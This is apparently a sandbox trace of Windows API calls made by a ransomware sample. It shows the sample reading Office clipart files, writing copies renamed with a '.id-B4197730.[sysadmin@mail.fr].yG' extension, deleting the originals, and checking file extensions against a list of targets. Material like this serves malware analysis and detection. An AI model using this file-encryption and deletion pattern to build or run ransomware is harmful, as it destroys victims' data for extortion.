	[0183.727] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0183.728] GetLastError () returned 0x0
	[0183.728] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x1b2e, lpOverlapped=0x0) returned 1
	[0183.729] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x1b30, lpOverlapped=0x0) returned 1
	[0183.730] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0183.731] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0183.731] SetEndOfFile (hFile=0x35c) returned 1
	[0183.731] CloseHandle (hObject=0x35c) returned 1
	[0183.731] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.731] SetEndOfFile (hFile=0x30c) returned 1
	[0183.732] CloseHandle (hObject=0x30c) returned 1
	[0183.732] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0183.732] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ed00184_.wmf")) returned 1
	[0183.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.733] lstrlenW (lpString=".doc") returned 4
	[0183.733] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.733] lstrlenW (lpString=".docx") returned 5
	[0183.733] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.733] lstrlenW (lpString=".pdf") returned 4
	[0183.733] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.733] lstrlenW (lpString=".xls") returned 4
	[0183.734] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.734] lstrlenW (lpString=".xlsx") returned 5
	[0183.734] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.734] lstrlenW (lpString=".ppt") returned 4
	[0183.734] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.734] lstrlenW (lpString=".zip") returned 4
	[0183.734] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.734] lstrlenW (lpString=".rar") returned 4
	[0183.734] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString=".bz2") returned 4
	[0183.734] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString=".7z") returned 3
	[0183.734] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.734] lstrlenW (lpString=".dbf") returned 4
	[0183.734] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.734] lstrlenW (lpString=".1cd") returned 4
	[0183.734] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.734] lstrlenW (lpString=".jpg") returned 4
	[0183.734] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.734] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.734] lstrlenW (lpString=".doc") returned 4
	[0183.734] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0183.734] lstrlenW (lpString=".docx") returned 5
	[0183.735] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0183.735] lstrlenW (lpString=".pdf") returned 4
	[0183.735] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString=".xls") returned 4
	[0183.735] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0183.735] lstrlenW (lpString=".xlsx") returned 5
	[0183.735] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0183.735] lstrlenW (lpString=".ppt") returned 4
	[0183.735] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.735] lstrlenW (lpString=".zip") returned 4
	[0183.735] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0183.735] lstrlenW (lpString=".rar") returned 4
	[0183.735] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString=".bz2") returned 4
	[0183.735] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString=".7z") returned 3
	[0183.735] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0183.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.735] lstrlenW (lpString=".dbf") returned 4
	[0183.735] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.735] lstrlenW (lpString=".1cd") returned 4
	[0183.735] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0183.735] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\ED00184_.WMF") returned 68
	[0183.735] lstrlenW (lpString=".jpg") returned 4
	[0183.735] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0183.736] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0183.736] lstrlenW (lpString="EN00006_.WMF") returned 12
	[0183.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.736] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=13936) returned 1
	[0183.736] CloseHandle (hObject=0x30c) returned 1
	[0183.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220
	[0183.736] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0183.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0183.737] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.737] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0183.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0183.738] GetLastError () returned 0x0
	[0183.738] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x3670, lpOverlapped=0x0) returned 1
	[0183.739] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x3680, lpOverlapped=0x0) returned 1
	[0184.084] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.084] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.084] SetEndOfFile (hFile=0x35c) returned 1
	[0184.084] CloseHandle (hObject=0x35c) returned 1
	[0184.084] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.084] SetEndOfFile (hFile=0x30c) returned 1
	[0184.085] CloseHandle (hObject=0x30c) returned 1
	[0184.085] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.085] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1
	[0184.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.086] lstrlenW (lpString=".doc") returned 4
	[0184.086] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.086] lstrlenW (lpString=".docx") returned 5
	[0184.086] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.086] lstrlenW (lpString=".pdf") returned 4
	[0184.086] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.086] lstrlenW (lpString=".xls") returned 4
	[0184.087] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.087] lstrlenW (lpString=".xlsx") returned 5
	[0184.087] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.087] lstrlenW (lpString=".ppt") returned 4
	[0184.087] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.087] lstrlenW (lpString=".zip") returned 4
	[0184.087] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.087] lstrlenW (lpString=".rar") returned 4
	[0184.087] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.087] lstrlenW (lpString=".bz2") returned 4
	[0184.087] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.087] lstrlenW (lpString=".7z") returned 3
	[0184.087] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.087] lstrlenW (lpString=".dbf") returned 4
	[0184.087] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.087] lstrlenW (lpString=".1cd") returned 4
	[0184.087] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.087] lstrlenW (lpString=".jpg") returned 4
	[0184.087] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.087] lstrlenW (lpString=".doc") returned 4
	[0184.087] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.087] lstrlenW (lpString=".docx") returned 5
	[0184.088] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.088] lstrlenW (lpString=".pdf") returned 4
	[0184.088] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.088] lstrlenW (lpString=".xls") returned 4
	[0184.088] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.088] lstrlenW (lpString=".xlsx") returned 5
	[0184.088] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.088] lstrlenW (lpString=".ppt") returned 4
	[0184.088] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.088] lstrlenW (lpString=".zip") returned 4
	[0184.088] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.088] lstrlenW (lpString=".rar") returned 4
	[0184.088] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.088] lstrlenW (lpString=".bz2") returned 4
	[0184.088] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.088] lstrlenW (lpString=".7z") returned 3
	[0184.088] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.088] lstrlenW (lpString=".dbf") returned 4
	[0184.088] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.088] lstrlenW (lpString=".1cd") returned 4
	[0184.088] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.088] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68
	[0184.088] lstrlenW (lpString=".jpg") returned 4
	[0184.088] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.089] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.089] lstrlenW (lpString="FD00077_.WMF") returned 12
	[0184.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.089] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=30240) returned 1
	[0184.089] CloseHandle (hObject=0x30c) returned 1
	[0184.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 0x220
	[0184.090] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.091] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.091] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0184.092] GetLastError () returned 0x0
	[0184.092] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x7620, lpOverlapped=0x0) returned 1
	[0184.094] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0x7630, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0x7630, lpOverlapped=0x0) returned 1
	[0184.095] ReadFile (in: hFile=0x30c, lpBuffer=0x39fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1
	[0184.095] WriteFile (in: hFile=0x35c, lpBuffer=0x39fa020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x39fa020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1
	[0184.095] SetEndOfFile (hFile=0x35c) returned 1
	[0184.096] CloseHandle (hObject=0x35c) returned 1
	[0184.096] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1
	[0184.096] SetEndOfFile (hFile=0x30c) returned 1
	[0184.097] CloseHandle (hObject=0x30c) returned 1
	[0184.097] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0184.097] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00077_.wmf")) returned 1
	[0184.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.098] lstrlenW (lpString=".doc") returned 4
	[0184.098] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.098] lstrlenW (lpString=".docx") returned 5
	[0184.098] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.099] lstrlenW (lpString=".pdf") returned 4
	[0184.099] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.099] lstrlenW (lpString=".xls") returned 4
	[0184.099] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.099] lstrlenW (lpString=".xlsx") returned 5
	[0184.099] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.099] lstrlenW (lpString=".ppt") returned 4
	[0184.099] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.099] lstrlenW (lpString=".zip") returned 4
	[0184.099] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.099] lstrlenW (lpString=".rar") returned 4
	[0184.099] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.099] lstrlenW (lpString=".bz2") returned 4
	[0184.099] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.099] lstrlenW (lpString=".7z") returned 3
	[0184.099] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.099] lstrlenW (lpString=".dbf") returned 4
	[0184.099] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.099] lstrlenW (lpString=".1cd") returned 4
	[0184.099] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.099] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.099] lstrlenW (lpString=".jpg") returned 4
	[0184.099] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.100] lstrlenW (lpString=".doc") returned 4
	[0184.100] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0184.100] lstrlenW (lpString=".docx") returned 5
	[0184.100] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0184.100] lstrlenW (lpString=".pdf") returned 4
	[0184.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0184.100] lstrlenW (lpString=".xls") returned 4
	[0184.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0184.100] lstrlenW (lpString=".xlsx") returned 5
	[0184.100] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0184.100] lstrlenW (lpString=".ppt") returned 4
	[0184.100] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0184.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.100] lstrlenW (lpString=".zip") returned 4
	[0184.100] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0184.100] lstrlenW (lpString=".rar") returned 4
	[0184.100] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0184.100] lstrlenW (lpString=".bz2") returned 4
	[0184.100] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0184.100] lstrlenW (lpString=".7z") returned 3
	[0184.100] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0184.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.100] lstrlenW (lpString=".dbf") returned 4
	[0184.100] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0184.100] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.101] lstrlenW (lpString=".1cd") returned 4
	[0184.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0184.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00077_.WMF") returned 68
	[0184.101] lstrlenW (lpString=".jpg") returned 4
	[0184.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0184.101] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0184.101] lstrlenW (lpString="FD00086_.WMF") returned 12
	[0184.101] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0184.101] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=29212) returned 1
	[0184.101] CloseHandle (hObject=0x30c) returned 1
	[0184.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf")) returned 0x220
	[0184.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0184.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00086_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
